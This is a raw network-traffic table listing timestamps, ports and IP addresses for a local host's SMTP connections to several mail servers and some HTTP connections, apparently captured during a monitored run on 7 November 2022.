Nov 7, 2022 22:24:48.490173101 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.490200043 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.638950109 CET	49810	80	192.168.2.5	63.141.242.43
Nov 7, 2022 22:24:48.766450882 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:48.774220943 CET	80	49810	63.141.242.43	192.168.2.5
Nov 7, 2022 22:24:48.774398088 CET	49810	80	192.168.2.5	63.141.242.43
Nov 7, 2022 22:24:48.781626940 CET	49810	80	192.168.2.5	63.141.242.43
Nov 7, 2022 22:24:48.849546909 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849590063 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849611998 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849778891 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849803925 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849826097 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849860907 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.849879026 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.850055933 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.850127935 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.850459099 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.850851059 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.850888968 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.851176023 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.851294994 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.852987051 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.853022099 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.853045940 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.853149891 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.853174925 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.853199005 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854561090 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854589939 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854619980 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854641914 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854664087 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854686975 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854708910 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854731083 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854753017 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854775906 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854798079 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854820013 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854841948 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854862928 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854917049 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854938984 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854960918 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.854993105 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855079889 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855115891 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855144024 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855166912 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855189085 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855209112 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855231047 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855252028 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855273008 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855293989 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855318069 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855340958 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855705976 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855731964 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855760098 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855787039 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855808020 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855829954 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855853081 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855875969 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855896950 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855920076 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855941057 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855962992 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.855983973 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856364965 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856398106 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856419086 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856439114 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856457949 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856477976 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856496096 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856514931 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856534958 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856553078 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856573105 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856592894 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856611013 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856630087 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856648922 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856667042 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856911898 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856940985 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856964111 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.856983900 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857023001 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857043028 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857063055 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857084036 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857105970 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857125998 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857145071 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857163906 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857183933 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857203960 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857223034 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857242107 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857846022 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857868910 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857887983 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857907057 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857925892 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857945919 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857965946 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.857985020 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.858002901 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.858023882 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.894826889 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:48.895045042 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:48.916785955 CET	80	49810	63.141.242.43	192.168.2.5
Nov 7, 2022 22:24:48.926690102 CET	80	49810	63.141.242.43	192.168.2.5
Nov 7, 2022 22:24:48.926731110 CET	80	49810	63.141.242.43	192.168.2.5
Nov 7, 2022 22:24:48.926842928 CET	49810	80	192.168.2.5	63.141.242.43
Nov 7, 2022 22:24:48.926949024 CET	49810	80	192.168.2.5	63.141.242.43
Nov 7, 2022 22:24:49.060534000 CET	80	49810	63.141.242.43	192.168.2.5
Nov 7, 2022 22:24:49.211745024 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:49.344268084 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:49.344590902 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:49.363475084 CET	49816	80	192.168.2.5	81.17.29.147
Nov 7, 2022 22:24:49.379626989 CET	80	49816	81.17.29.147	192.168.2.5
Nov 7, 2022 22:24:49.379755974 CET	49816	80	192.168.2.5	81.17.29.147
Nov 7, 2022 22:24:49.379903078 CET	49816	80	192.168.2.5	81.17.29.147
Nov 7, 2022 22:24:49.396198034 CET	80	49816	81.17.29.147	192.168.2.5
Nov 7, 2022 22:24:49.402415037 CET	80	49816	81.17.29.147	192.168.2.5
Nov 7, 2022 22:24:49.402451038 CET	80	49816	81.17.29.147	192.168.2.5
Nov 7, 2022 22:24:49.402523994 CET	49816	80	192.168.2.5	81.17.29.147
Nov 7, 2022 22:24:49.556119919 CET	49816	80	192.168.2.5	81.17.29.147
Nov 7, 2022 22:24:49.618607044 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:49.622004032 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:49.647413969 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:49.661325932 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:49.782388926 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:49.783039093 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:49.785743952 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:49.964054108 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:49.964189053 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:49.989769936 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:50.099777937 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102494955 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102545977 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102593899 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102615118 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102638006 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102659941 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102665901 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.102680922 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102703094 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102722883 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102741957 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.102744102 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.102835894 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.102868080 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.149293900 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:50.149393082 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:50.270812988 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:50.270916939 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:50.281869888 CET	49825	80	192.168.2.5	81.17.29.146
Nov 7, 2022 22:24:50.299431086 CET	80	49825	81.17.29.146	192.168.2.5
Nov 7, 2022 22:24:50.299618006 CET	49825	80	192.168.2.5	81.17.29.146
Nov 7, 2022 22:24:50.299946070 CET	49825	80	192.168.2.5	81.17.29.146
Nov 7, 2022 22:24:50.315179110 CET	80	49825	81.17.29.146	192.168.2.5
Nov 7, 2022 22:24:50.320400000 CET	80	49825	81.17.29.146	192.168.2.5
Nov 7, 2022 22:24:50.320492029 CET	80	49825	81.17.29.146	192.168.2.5
Nov 7, 2022 22:24:50.320568085 CET	49825	80	192.168.2.5	81.17.29.146
Nov 7, 2022 22:24:50.320697069 CET	49825	80	192.168.2.5	81.17.29.146
Nov 7, 2022 22:24:50.401580095 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:50.419394970 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419413090 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419428110 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419442892 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419459105 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419467926 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419506073 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419507027 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.419596910 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.419596910 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.419862032 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.419930935 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.420027971 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420042038 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420054913 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420068979 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420082092 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420095921 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420109034 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420120955 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.420124054 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420120955 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.420139074 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420155048 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420169115 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420169115 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.420183897 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.420224905 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.420224905 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.420260906 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.452193022 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:50.475527048 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:50.592807055 CET	49807	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:50.624156952 CET	49825	80	192.168.2.5	81.17.29.146
Nov 7, 2022 22:24:50.639699936 CET	80	49825	81.17.29.146	192.168.2.5
Nov 7, 2022 22:24:50.736469984 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736511946 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736540079 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736571074 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736604929 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736623049 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736623049 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736690998 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736690998 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736716986 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736746073 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736776114 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736778021 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736802101 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736804008 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736834049 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736865044 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736893892 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736897945 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736897945 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736923933 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736931086 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736931086 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736931086 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.736954927 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.736974001 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737010956 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737020016 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737040997 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737070084 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737098932 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737117052 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737117052 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737128019 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737149954 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737159014 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737175941 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737190008 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737215996 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737221003 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737302065 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737332106 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737344027 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737365961 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:50.737467051 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.737467051 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:50.792090893 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:50.868395090 CET	49829	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:50.917315960 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:50.947123051 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:51.042701006 CET	80	49829	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:51.042825937 CET	49829	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:51.054168940 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054229021 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054260969 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054294109 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054323912 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054342031 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054342031 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054342031 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054342031 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054352999 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054387093 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054414034 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054414034 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054419994 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054444075 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054460049 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054553986 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054588079 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054617882 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054646969 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054661036 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054661036 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054677963 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054703951 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054708958 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054721117 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054740906 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054754972 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054769993 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054800034 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054820061 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054831028 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054856062 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054872036 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.054950953 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.054984093 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055015087 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055053949 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055053949 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055099010 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055131912 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055160999 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055161953 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055181980 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055222988 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055289984 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055321932 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055346012 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055351973 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055368900 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055383921 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055423975 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055423975 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055445910 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055567026 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055597067 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055627108 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055649996 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055649996 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055658102 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055687904 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055687904 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055705070 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055721045 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055769920 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.055895090 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055926085 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055953979 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.055983067 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056063890 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056063890 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056063890 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056107044 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056138039 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056166887 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056196928 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056216002 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056216002 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056216002 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056226015 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056276083 CET	49806	25	192.168.2.5	142.250.157.27
